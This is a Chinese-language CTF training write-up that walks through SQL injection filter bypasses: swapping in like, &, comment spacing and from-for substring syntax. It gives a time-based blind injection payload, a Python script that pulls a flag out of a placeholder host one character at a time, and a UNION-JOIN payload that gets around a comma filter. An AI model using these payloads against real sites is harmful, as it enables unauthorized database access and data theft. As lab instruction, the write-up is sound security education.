前言
本文为某次培训练习题解题过程,该题考察SQL注入绕过方法,难度中等。
正文
- 观察题目,可知道本题考察SQL注入绕过,经过测试,发现拦截
=
、and
、or
、,
、 =
可用like
代替and
可用&
代替or
可用|
代替- 空格可用注释绕过
/**/
- 逗号可用
from a for b
绕过,但是仅限于函数内逗号,所以本题不能使用union select 1,flag from flag
来直接获取到结果(误,可以使用join
绕过,见方法二)
以下为以前使用过的一个绕过逗号拦截的payload,我们可以在它的基础上进行修改:1
1' and (select * from (select case when (substring((select user()) from 1 for 1)='c') then sleep(3) else 0 end)A) --
- ctf注入题的flag通常在flag表,所以我们直接跑这个表了,所以把payload修改为如下:
1
1' and (select * from (select case when (substring((select * from flag) from 1 for 1)='c') then sleep(3) else 0 end)A) --
- 因为
for
里面的or
也会拦截,所以换成这种写法:所以payload修改为:1
2from a //表示从最后一个字母取,取a个字母,如果越界则为空值
select substring((select user()) from -14);这里的-1表示截取倒数第一个字符,2与该字符的ASCII码进行比对1
1' and (select * from (select case when (ascii(substring((select * from flag) from -1))=2) then sleep(3) else 0 end)A) --
- 然后替换
and
为&
,=
为like
,/**/
,因为最后的--
注释符替换成/**/--/**/
的话会失效,所以使用#
注释,最终payload:我们知道flag字符串最终位为1
1'/**//**/&/**/(select/**/*/**/from/**/(select/**/case/**/when/**/(ascii(substring((select/**/*/**/from/**/flag)/**/from/**/-1))/**/like/**/125)/**/then/**/sleep(3)/**/else/**/0/**/end)A)#
}
,其ASCII码值为125
,所以测试这位的值来验证我们的payload,可以看到确实延迟了3s:
如果修改为错误的值则不会: - 那么我们就可以根据上面的payload编写最终exp了:运行结果:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38import requests
import string
import time
def exp(keynum, chrord):
burp0_url = "http://x.x.x.x:xxxxx/?id=1'/**/%26/**/(select/**/*/**/from/**/(select/**/case/**/when/**/(ascii(substring((select/**/*/**/from/**/flag)/**/from/**/-{}))/**/like/**/{})/**/then/**/sleep(2)/**/else/**/0/**/end)A)%23".format(keynum, chrord)
# print(burp0_url)
burp0_cookies = {"PHPSESSID": "o19hhhgs7vncjnq8ffmlubp3h1"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
flagchars = string.ascii_lowercase + string.digits + '{}_-'
flagchars_ordlist = [ord(c) for c in flagchars]
flag = ''
pre_chr = ''
for i in range(1, 43):
for j in flagchars_ordlist:
c = chr(j)
retry = 3
while retry > 0:
try:
now = time.time()
exp(i, j)
end = time.time()
break
except:
# 重试
retry -= 1
if end - now > 2:
print(c)
flag += c
break
else:
print('not in letters')
print(flag[::-1])
方法二
使用join
可以把两个表查询的结果左右合并,从而拼接多个字段,如下:
1 | select 1,2 from (select 1,2)a where 'a'='a' union select * from (select 1)b join (select 2)c; |
1 | # 创建数据库及表 |
根据上面的实验,最终构造如下payload:
1 | 1'/**/&/**/1/**/like/**/0/**/union/**/select/**/*/**/from/**/(select/**/1)a/**/join/**/(select/**/*/**/from/**/flag)b# |
编码后发送可取得flag